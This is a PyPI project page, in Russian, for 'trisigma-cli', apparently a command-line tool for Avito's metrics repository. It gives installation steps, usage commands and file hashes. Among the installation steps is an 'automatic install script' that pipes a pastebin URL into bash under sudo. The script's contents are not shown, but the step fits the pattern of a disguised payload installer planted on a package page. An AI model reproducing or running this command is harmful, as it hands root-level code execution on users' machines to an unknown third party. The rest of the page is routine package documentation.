Trisigma CLI - инструмент командной строки для работы с Репозиторием метрик. Помогает создавать, валидировать и публиковать изменния в семантическом слое.
Project description
trisigma-cli
Trisigma CLI - инструмент командной строки для работы с Репозиторием метрик. Помогает создавать, валидировать и публиковать изменния в семантическом слое.
Установка
Быстрая установка через pip
pip install trisigma-cli
Установка через pipx (рекомендуется)
pipx автоматически управляет PATH и изолирует зависимости:
pip install pipx
pipx ensurepath
pipx install trisigma-cli
Автоматический установочный скрипт (macOS/Linux)
Скрипт автоматически найдет Python, установит CLI и настроит PATH:
sudo curl -sSL https://pastebin.com/raw/JwywS2A8 | tr -d '\r' | bash
Что делает скрипт:
- Найдет лучшую доступную версию Python (3.9-3.13)
- Установит CLI через pipx (или pip если pipx недоступен)
- Настроит PATH для вашего shell (zsh/bash)
- Проверит корректность установки
Установка из корпоративного PyPI (Avito)
Если вы работаете внутри корпоративной сети Avito:
pipx install trisigma-cli --pip-args="--index-url https://pypi.k.avito.ru/simple/"
# или через pip
PIP_INDEX_URL=https://pypi.k.avito.ru/simple/ pip install trisigma-cli
Важно для Python 3.9 на macOS: После установки через pip добавьте в ~/.zshrc:
export PATH="$HOME/Library/Python/3.9/bin:$PATH"
Затем перезагрузите shell:
source ~/.zshrc
Требования
- Python 3.9-3.13 (Python 3.14 пока не поддерживается)
- macOS, Linux или Windows (WSL)
Проверка установки
После установки запустите:
trisigma --version
Если команда не найдена, убедитесь что директория со скриптами Python добавлена в PATH.
Начало работы
Инициализация CLI с OAuth авторизацией:
trisigma init
Команда откроет браузер для авторизации и автоматически сохранит все необходимые настройки.
Использование
trisigma # Запуск интерактивного режима (TUI)
trisigma sl validate # Валидация репозитория метрик
trisigma sl compile -s source # Компиляция SQL для источника
trisigma sl task AB-1234 # Создание ветки для задачи
trisigma sl save -m "message" # Сохранение изменений
trisigma sl publish # Публикация изменений и создание PR
Полный список команд доступен через trisigma --help.
Лицензия
Этот проект лицензирован в соответствии с проприетарным лицензионным соглашением ООО «Авито Тех». См. файл LICENSE для подробностей.
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file trisigma_cli-0.1.3.tar.gz.
File metadata
- Download URL: trisigma_cli-0.1.3.tar.gz
- Upload date:
- Size: 140.0 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: poetry/2.0.1 CPython/3.12.7 Darwin/23.6.0
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
6818fd9f0327dd0eed628160bed12f2bf475fe38dfefc4da8eadd39c239fb6b7
|
|
| MD5 |
b58a262aaf8aefc8f70493a3cffc3736
|
|
| BLAKE2b-256 |
7f6ba3cecb3ce6bced4b833df094cdc8094932f13e5c1db8591685a5a6bab7db
|
File details
Details for the file trisigma_cli-0.1.3-py3-none-any.whl.
File metadata
- Download URL: trisigma_cli-0.1.3-py3-none-any.whl
- Upload date:
- Size: 185.7 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: poetry/2.0.1 CPython/3.12.7 Darwin/23.6.0
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
8e2cc88900afc9ce96da9ee7bc6928d0c893e289612f7d72842882b9b92dda64
|
|
| MD5 |
a3b2d7fa57657227e949ccb84899eaf1
|
|
| BLAKE2b-256 |
9c411857697b183b2310b870858411ffb7975683e837f52bbaf58ec89cde1588
|